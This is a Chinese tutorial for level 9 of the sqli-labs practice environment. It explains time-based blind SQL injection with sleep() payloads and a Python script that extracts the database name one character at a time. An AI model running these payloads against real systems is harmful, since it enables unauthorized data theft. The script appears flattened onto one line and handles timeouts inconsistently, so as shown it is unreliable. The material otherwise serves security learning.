sqli-labs第九关—‘时间盲注
一·:判断闭合类型
先按照之前的判断方式判断,发现无论输入什么都显示You are in..........
可以考虑使用时间盲注:
二:时间盲注Time-based Blind:
1.解释:
通过时间延迟判断结果
2.核心原理:
利用时间函数sleep(),构造条件语句
- 如果条件为真 → 延迟N秒 → 页面响应变慢
- 如果条件为假 → 不延迟 → 页面快速响应
3.关键函数:
sleep(n):让数据库等待n秒
if(条件,真时执行,假时执行‘’):判断
substr(str,start,length):substr("hello",1,1)返回h
ascii(char):ascii('a')=97
4.尝试判断注入点:
构造一个会延迟的payload,测试是否延迟
?id=1' and sleep(5)--+
页面响应5秒,存在时间盲注~
三:开始注入
1.爆库名长度
?id=1' and if(length(database())=8,sleep(5),0)--+
响应五秒,长度正确,数据库名长度为8
2.ascii码爆库名
-- 第一个字符是s
1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0)--+
-- 第二个字符是e
1' and if(ascii(substr(database(),2,1))=101, sleep(5), 0)--+
...
爆数据库名为security
3,自动化脚本
import requests
#导入requests库
url = "http://localhost/sqli-labs/Less-9/?id=1'"
#设置目标URL,包含SQL注入点
charset = "abcdefghijklmnopqrstuvwxyz"
#设置要猜解的字符集,这里只猜解小写字母a-z
database = ""
#初始化字符串,存储数据库名称
for i in range(1, 9): # 已知库名长度8#外层循环遍历每个位置for char in charset:#内层循环遍历字符集payload = f" and if(ascii(substr(database(),{i},1))={ord(char)},sleep(5),0)-- -"#构造payload,使用substr函数截取数据库名称的第i个字符# #使用ascii函数将其转换为ASCII码# 然后与字符char的ASCII码进行比较# 如果相等则执行sleep(5)函数,否则返回0full_url = url + payload#将payload拼接到URL后面try:response = requests.get(full_url, timeout=10)if response.elapsed.seconds >= 5:#响应时间大于等于五秒,说明猜对了,加入到数据库名中database += charprint(f"当前库名:{database}")#阶段输出,方便查看进度breakexcept requests.exceptions.Timeout:#如果请求超过10秒,说明猜错了,继续猜下一个字符print("请求超时,可能触发延迟")continue
print("最终库名:", database)
运行方式参考前一关解说~~